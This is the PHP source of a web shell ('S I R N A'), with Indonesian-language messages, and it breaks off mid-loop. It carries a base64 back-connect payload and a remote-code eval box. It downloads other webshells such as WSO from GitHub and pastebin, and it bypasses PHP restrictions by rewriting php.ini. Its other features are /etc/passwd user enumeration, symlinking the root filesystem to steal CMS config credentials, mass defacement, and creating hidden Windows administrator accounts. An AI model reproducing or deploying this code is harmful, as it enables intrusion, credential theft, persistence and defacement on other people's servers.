$back_connect_c  = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";<html><head><link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png"><title>S I R N A</title>
<script type="text/javascript">function tukar(b,a){document.getElementById(b).style.display="none";document.getElementById(a).style.display="block"};</script>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<style>body::-webkit-scrollbar{width:1em}body::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}body::-webkit-scrollbar-thumb{background-color:darkgrey;outline:1px solid slategrey}.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid #4c83af;padding:4px 2px;width:70%;line-height:24px}.myboxtbl{width:50%}body{background-color:transparan;background:#000;background-image:url("echo $background;");background-position:center;background-attachment:fixed;background-repeat:no-repeat}a{text-decoration:none}hr,a:hover{border-bottom:1px solid #4c83af}*{text-shadow:0 0 .3em #999;font-size:14px;font-family:'Montserrat',sans-serif;color:echo $fontcolor_global;}.tabnet{margin:15px auto 0 auto;border:1px solid #333}.main{width:100%}.gaya{color:#888}.top{border-left:1px solid black;border-RIGHT:1px solid #fff;font-family:verdana}input{background:#111;border:1;padding:2px;border-bottom:1px solid #222;border-top:1px solid #222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f}.inputz{background:#111;border:0;padding:2px;border-bottom:1px solid #393939;font-size:11px;color:#fff;-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0}.inputzbut{background:#111;color:#8f8f8f;margin:0 4px;border:1px solid #444}.inputzbut:hover{border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.inputz:hover{-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0;border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.output2{margin:auto;border:1px solid #888;background:#000;padding:0 2px}textarea{margin:auto;border:2px solid #555;background:#000;padding:0 2px}.output{margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000;padding:0 2px}.cmdbox{width:100%}.head_info{padding:0 4px}.b1{font-size:30px;padding:0;color:#555}.b2{font-size:30px;padding:0;color:maroon}.b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333}.phpinfo table{width:100%;padding:0}.phpinfo td{background:#111;color:#ccc;padding:6px 8px}.phpinfo th,th{background:teal;border-bottom:1px solid #333;font-weight:400}.phpinfo h2,.phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222;padding:4px 0}.explore{width:100%}.explore a{text-decoration:none}.explore td{border-bottom:1px solid #333;padding:0 8px;line-height:24px;color:#999}.explore th{padding:3px 8px;font-weight:400;color:white}.explore th:hover,.phpinfo th:hover{border-bottom:1px solid red}.explore tr:hover{background:#333}.viewfile{background:#edeceb;color:#000;margin:4px 2px;padding:8px}.sembunyi{display:none;padding:0;margin:0}#menu{background:#111;font-family:'Montserrat',sans-serif;font-size:12px;color:silver}#menu a{font-family:'Montserrat',sans-serif;padding:3px 5px;margin:2;text-shadow:0 0 .1em rgba(0,128,128,1),0pt 0 .3em rgba(0,128,128,1);background:#2d2b2b;text-decoration:none;letter-spacing:2px;display:inline-block;-moz-border-radius:10px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px}#menu a:hover{font-family:'Montserrat',sans-serif;background:#191919;border-bottom:1px solid #444;border-top:1px solid #444;color:#cecece}li{display:inline-block}ul{list-style-type:none;margin:0;margin:0}k,k a,k a:hover{text-shadow:0 0 .3em red;font-family:'Montserrat',sans-serif;font-size:25px;color:#fff}h7{font-size:35px}</style><body onLoad="document.getElementById('cmd').focus()"><div class="main"><div class="head_info"> <table><tr><td width="15%"><table class="b_tbl" cellspacing="0">
echo '<center><img src="http://cdn2.tstatic.net/tribunnews/foto/bank/images/20140203_070700_ilustrasi-galau.jpg" width="150px"><br><b>'.(base64_decode('UyBJIFIgTiBB==').'</b>');<div id="menu"><a href="?echo "sad=" . $pwd;&amp;x=about">About Me</a></div></center>
</td></tr></table></td><td class="top" width='80%' valign="top">echo $buff;</td><td style="width:30%" valign="top"><a>server ip :echo $server_ip . "<font color='red'><br><br></font> your ip : " . $my_ip . "<br></a>";</td></tr></table></div>
<div id="menu">
<center>
<ul>
<li><a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII='></a></li>
<li><a href="?echo "sad=" . $pwd;">Files</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=shell">Command</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=upload">Upload</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=php">Eval</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=sym">Sym</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=jumping">Jumping</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=hostg">Fucking HostGator</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=grabc">Config Grabber</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=netsploit">Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mass">Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=krdp">Create RDP</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=mailtest">Mail Tester</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=get_tools">Write Tools</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=bypasser">Bypasser</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=brute">Brute</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=phpinfo">phpinfo</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=zone-h">Zone-H</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=joomla">Joomla</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wordpress">Wordpress</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=vb">Vb</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=domains">Domains</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=string">String</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=cmsdet">CMS Detector</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=wm">Wp Mass</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=settings">Settings</a></li>
<li><a href="?echo "sad=" . $pwd;&amp;x=change_pass">Change Shell Password</a></li>
<li><a href="?logout" style="background:#900;color:#FFF;background-image:url('http://up.ashiyane.org/images/b5crr7rhrwc5e97nvgxq.png');background-position:2px;height:20px;width:100px;background-repeat:no-repeat">Logout</a></li>
</ul>
</center>
</div>
if (isset($_GET['x']) && ($_GET['x'] == 'php')) {<form action="?sad=echo $pwd;&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90> 
if (isset($_POST['submitcmd'])) {
        echo eval(magicboom($_POST['cmd']));
    } else
        echo "echo file_get_contents('/etc/passwd');";</textarea></td></tr><tr><td><input style="width:19%" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> 
}
elseif (isset($_GET['logout'])) {
session_unset($_SESSION["login"]);
echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'change_pass')) {
<center>
<h1>Change Shell Password</h1>
<form action="?sad=echo $pwd;&amp;x=change_pass" method="post">
<input type="text" name="password" class="inputz"><br>
<input type="submit" name="submit" class="inputzbut">
</form>
if(isset($_POST['submit'])){
    $newpassword = md5($_POST['password']);
    $old_pass = '"'.$auth_pass.'";';
    $new_pass = '"'.$newpassword.'";';
    if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
        $kr_pass = file_get_contents($_SERVER['SCRIPT_FILENAME']);
        $kr_pass = preg_replace("/$old_pass/is",$new_pass,$kr_pass);
    if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $kr_pass)){
        echo "password baru : <font color=red>".$_POST['password']."</font> - <font color=greenyellow>$newpassword</font>";
    }
    }else{
        echo "Password gagal";
    }
}
    
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailtest'))
    {
        $to      = 'htaccess12@gmail.com';
        $subject = 'Support Mailer ^_^';
        $message = 'Support Mailer ! ^_^';
        $headers = 'From: webmaster@example.com\r\nReply-To: webmaster@example.com\r\nX-Mailer: PHP/' . phpversion();

        mail($to, $subject, $message, $headers);
        if(mail($to, $subject, $message, $headers)){
            echo '<script>alert("Support Mailer !!! Cek Emailmu !")</script>';
        }else{
            echo '<script>alert("Ada Kesalahan ! ")</script>';
        }
        
    }
elseif(isset($_GET['x']) && ($_GET['x'] == 'settings'))
    {
<center><br>
<h7>Settings Shell</h7><br>
<a href="?echo "y=".$pwd;&amp;x=set_bg"><input class=inputzbut type=submit value=" Background Shell" /></a>
| <a href="?echo "y=".$pwd;&amp;x=set_login"><input class=inputzbut type=submit value=" Login Background" /></a><br>
</center>
//functions settings
        $bgshell    = $_POST['bg_shell'];
        $bg_login   = $_POST['bg_login'];

       if(isset($_POST['submit'])){

        if (!empty($bgshell)) {
            $bgshelll = $_POST['bg_shell'];
            $replace_new = ''.$bgshelll.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background = preg_quote($background, '/');
                var_dump($background);
                
                $write = preg_replace("/$background/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved</center>";
            }
        }elseif(!empty($bg_login)){
            $bglogin = $_POST['bg_login'];
            $replace_new = ''.$bglogin.'';
            if(file_get_contents($_SERVER['SCRIPT_FILENAME'])){
                $write = file_get_contents($_SERVER['SCRIPT_FILENAME']);
                $background_login = preg_quote($background_login, '/');
                $write = preg_replace("/$background_login/",$replace_new,$write);
            if(file_put_contents($_SERVER['SCRIPT_FILENAME'], $write)){
                echo '<center>Setting Saved !</center>';
            }
            }else{
                echo "<center>Setting Not Saved !</center>";
            }
        }
    }

    
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'get_tools'))
    {<center><br><br><h3>Write Tools</h3>
<table>
<tr><form method="post" action="">&nbsp;<td>
<select class="inputz" align="left" name="pilihan" id="pilih">
<option value="hsphere">Bypass hSphere Shell</option>
<option value="adminer">Adminer</option>
<option value="miniadmin">PHPMiniAdmin</option>
<option value="wso">WSO Shell</option>
</select>
<input type="submit" name="submites" class="inputz" value="create">
</td></form></tr></table><br/><br/><br/>
function gettool($filename,$link){
              $get = file_get_contents($link);
              file_put_contents($filename.'.php', $get);
              echo '<script>alert("Done ! ");</script>';
              echo 'Berhasil =>  <a href="'.$filename.'.php" target="_blank">'.$filename.'.php</a>';
            }
                $submit = $_POST ['submites'];
                if(isset($submit)) {
                    $pilih = $_POST['pilihan'];
                    ///hsphere shell
                        if ( $pilih == 'hsphere') {
                            gettool("hsphere","https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
                        }
                        elseif ( $pilih == 'adminer') {
                            gettool("adminer","https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php");
                        }elseif($pilih == 'miniadmin'){
                            gettool("sqlminiadmin","https://pastebin.com/raw/iHSNkKmg");
                        }elseif( $pilih == 'wso'){
                            gettool("wso","https://raw.githubusercontent.com/tennc/webshell/master/php/wso/WSO_base64.php");
                        }
                    }
        
    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_bg'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Background Shell</td><td>:</td><td><input type="text" name="bg_shell" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut"></td>
</tr>
</form>
</table>

    }

    elseif(isset($_GET['x']) && ($_GET['x'] == 'set_login'))
    {
<center>
<form action="?sad=echo $pwd;&amp;x=settings" method="POST">
<table>
<tr>
<td><h7>Appearance Setting</h7></td>
</tr>
<tr>
<td>Login Background</td><td>:</td><td><input type="text" name="bg_login" class="inputz" placeholder="link image" style="width:200px"></td>
</tr>
<tr>
<td></td><td></td><td><input type="submit" name="submit" class="inputzbut" value="submit setting"></td>
</tr>
</form>
</table>

    }
    elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasser'))
            {
                echo "<center><br/><br/>Choose Bypasser Below<br/><br/>";
<a href="?echo "path=".$path;&amp;x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
Or <a href="?echo "path=".$path;&amp;x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
Or <a href="?echo "path=".$path;&amp;x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
<br/><br/><br/><br/>

            }
    ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With System Function</span><center>';
            mkdir('bysyswsf', 0755);
            chdir('bysyswsf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/Pw07PwVD");
            $file = fopen("bysyswsf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswsf.php",0755);
            echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";
            }
            ////////////////////////////////////////
            ////////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) {
                    $byht = "safe_mode = Off
                    disable_functions = None
                    safe_mode_gid = OFF
                    open_basedir = OFF
                    allow_url_fopen = On";
                    file_put_contents("php.ini",$byht);
                    echo "<script>alert('Congrats!'); hideAll();</script>";
                    die('<meta http-equiv="refresh" content="0; url=?" />');
            }
            ////////////////////////////////////////
            ///////////////////////////////////////
            elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) {
            echo '<br><center><span style="font-size:20px;">Bypass Root Path With Exec Function</span><center>';
            mkdir('bysyswexecf', 0755);
            chdir('bysyswexecf');
            $bysyswsf = file_get_contents("https://pastebin.com/raw/6ccPfLW6");
            $file = fopen("bysyswexecf.php" ,"w+");
            $write = fwrite ($file ,$bysyswsf);
            fclose($file);
            chmod("bysyswexecf.php",0755);
            echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
            
            }
            ////////////////////////////////////////
            ////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////
        ///////////JUMPING////////////////////////////////////////////////////////
        //////////////////////////////////////////
        elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
<center>
<form action="?sad=echo $pwd;&amp;x=jumping" method="post">
//radable public_html
                ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
                set_time_limit(0);
                ###################
                @$passwd = fopen('/etc/passwd','r');
                if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd'); }
                $pub = array();
                $users = array();
                $conf = array();
                $i = 0;
                while(!feof($passwd))
                {
                $str = fgets($passwd);
                if ($i > 35)
                {
                $pos = strpos($str,':');
                $username = substr($str,0,$pos);
                $dirz = '/home/'.$username.'/public_html/';
                if (($username != ''))
                {
                if (is_readable($dirz))
                {
                array_push($users,$username);
                array_push($pub,$dirz);
                }
                }
                }
                $i++;
                }
                ###################
                echo '<br><br></center></center>';
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directories\n<br /></font>";
                echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
                foreach ($users as $user)
                {
                $path = "/home/$user/public_html/";
                echo "<font class='rapihbanget'><a href='?sad&#61;$path' target='_blank' font-weight:bold; color:#F80;'>$path</a><br></font>";
                }
                echo "<br /><font class='rapihbanget'>[+] Complete...\n<br /></font>";
                echo "<font class='rapihbanget'>[+] Monggo Sikat Boz!\n<br /></font>";
                echo '<br><br></b></body><center>';
                
        }


///////////////

 elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
    error_reporting(0);<center><table><td width="50%"><form ENCTYPE="multipart/form-data" action="$_SERVER['PHP_SELF'];" method=post><p align="center"><h2>Folder</h2><input class='inputz' typ=text name=path size=60 value="echo getcwd();"><br><h2>file name</h2><input class='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Script Defacemu </h3><textarea class='inputz' name=index rows=10 cols=40>Hacked By NoNameUser - Error Violence</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br>$mainpath = $_POST[path];
    $file     = $_POST[file];
    $dir      = opendir("$mainpath");
    $code     = base64_encode($_POST[index]);
    $indx     = base64_decode($code);
    while ($row = readdir($dir)) {
        $start  = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo "$row/$file > Done<br><br>";
        }
    }
    
} 
    ///menu rdp
        if(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
            
        {
                if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
                {<br/><br/>
<center>
<h1>RDP Creator By Shor7cut</h1>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="username" required></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" class="bordergaya" name="password" required></td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
</tr>
</table>
</form>
</div>
<br/>
<div id="content-left">
<form action="" method="post">
<table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
<tr>
<td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
</tr>
<tr>
<td><font class='kecew'>Username</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Password</font></td>
<td><font class='kecew'> : </font></td>
<td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
</tr>
<tr>
<td><font class='kecew'>Action</font></td>
<td><font class='kecew'> : </font></td>
<td>
<select name="aksi" class="bordergaya">
<option value="1">Tampilkan Username</option>
<option value="2">Hapus Username</option>
<option value="3">Ubah Password</option>
</select>
</td>
</tr>
<tr>
<td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
</tr>
</table>
</form>
<br/>
</div>
</center></center>
if($_POST['submit'])
                    {
                        if($_POST['kshell']=="1")
                        {
                            $r_user = $_POST['username'];
                            $r_pass = $_POST['password'];
                            $cmd_cek_user   = shell_exec("net user");
                            if(preg_match("/$r_user/", $cmd_cek_user)){
                                echo $gaya_root.$r_user." sudah ada".$o;
                            }else {
                            $cmd_add_user   = shell_exec("net user ".$r_user." ".$r_pass." /add");
                            $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
                            $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
                            $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
                                if($cmd_add_user){
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil!</font></font><br/><br/>".$o;
                                }else {
                                    echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Gagal!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar..  <br/>";
                                if($cmd_add_groups1){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups2){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else
                                if($cmd_add_groups3){
                                      echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Berhasil Di Proses!</font><br/><br/>".$o;
                                }else {
                                      echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Gagal Di Proses!</font><br/><br/>".$o;
                                }
                                echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
                                echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username  : ".$r_user."</font><br/><font class='rapihbanget'>--- Password  : </font>".$r_pass.$o."</font><br/><br/>";
                                echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
                            }


                        }
                        else if($_POST['kshell']=="2")
                        {
                            echo "<style>
                                    .coeg{margin-left:30%;}
                                    </style>";
                            if($_POST['aksi']=="1"){
                             echo "<pre class='coeg'>".shell_exec("net user");
                            }
                            else if($_POST['aksi']=="2")
                            {
                                $username = $_POST['rusername'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                        $cmd_add_user   = shell_exec("net user ".$username." /DELETE");
                                        if($cmd_add_user){
                                            echo "<font class='rapihbanget'>[+] Sedang Memroses.. Silahkan Tunggu..  </font><br /><br />";
                                            echo $gaya_root."<font class='rapihbanget'>[+] Selamat! Remove User  </font><font color='orange'>".$username." </font><font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User  </font><font color='orange'>".$username." </font><font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                    }
                                    }else {
                                        echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                    }
                            }
                            else if($_POST['aksi']=="3")
                            {
                                echo "<style>
                                        .tengahaja{margin-left:35%}
                                      </style>";
                                $username = $_POST['rusername'];
                                $password = $_POST['gantipw'];
                                $cmd_cek_user   = shell_exec("net user");
                                    if (!empty($username)){
                                        if(preg_match("/$username/", $cmd_cek_user)){
                                            $cmd_add_user   = shell_exec("net user ".$username."");
                                            if($cmd_add_user){
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Berhasil!!</font><br /><br />".$o;
                                        }else {
                                            echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Gagal!!</font><br /><br />".$o;
                                        }
                                    }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> Itu Enggak Ada!!</font><br /><br />".$o;
                                }
                                }else
                                {
                                    echo $gaya_root."<font class='rapihbanget'> Silahkan Masukkan Dahulu Username Yang Mau Di Hapus!! </font><br /><br />".$o;
                                }
                            }
                        }

                    }
                } else{
                    echo "<br><br><font color='springgreen' face='Fredericka The Great'>TOOLS GAK BISA DI PAKE NDAN -_- SERVERNYA BUKAN WINDOWS</font>";
                }die();
        }
elseif (isset($_GET['x']) && ($_GET['x'] == 'hostg')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink HostGator Server ('.ini') Extension Method</b></p>";<center><img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="hostg" value="Extract usernames" /></form></center> if (isset($_POST['hostg'])) {<form method=post><textarea rows=10 cols=50 name=user>$users = file("/etc/passwd");
        foreach ($users as $user) {
            $str = explode(":", $user);
            echo $str[0] . "\n";
        }</textarea><br><br><input type=submit name=su value="Bypass HostGator Configs" /></form> }error_reporting(0);
    echo "<font color=#58FAF4 size=2 face=\"Courier New\">";
    if (isset($_POST['su'])) {
        mkdir('HostGator', 0755);
        $rr = " Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html ";
        $g  = fopen('HostGator/.htaccess', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        $rt        = "<a href=HostGator/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully</font></a>";
        echo "Check link given below for / folder symlink <br><b>$rt</b>";
        mkdir('HostGator', 0755);
        $rr = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF ";
        $g  = fopen('HostGator/php.ini', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        fwrite($f, $r);
        $consym = "<a href=HostGator/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>";
        echo "<br><font color=#58FAF4 size=2 face=\"Courier New\">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^  </font><br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>";
        $usr           = explode("\n", $_POST['user']);
        $configuration = array(
            "wp-config.ini",
            "wordpress/wp-config.ini",
            "configuration.ini",
            "blog/wp-config.ini",
            "joomla/configuration.ini",
            "vb/includes/config.ini",
            "includes/config.ini",
            "conf_global.ini",
            "inc/config.ini",
            "config.ini",
            "Settings.ini",
            "sites/default/settings.ini",
            "whm/configuration.ini",
            "whmcs/configuration.ini",
            "support/configuration.ini",
            "whmc/WHM/configuration.ini",
            "whm/WHMCS/configuration.ini",
            "whm/whmcs/configuration.ini",
            "support/configuration.ini",
            "clients/configuration.ini",
            "client/configuration.ini",
            "clientes/configuration.ini",
            "cliente/configuration.ini",
            "clientsupport/configuration.ini",
            "billing/configuration.ini",
            "admin/config.ini"
        );
        foreach ($usr as $uss) {
            $us = trim($uss);
            foreach ($configuration as $c) {
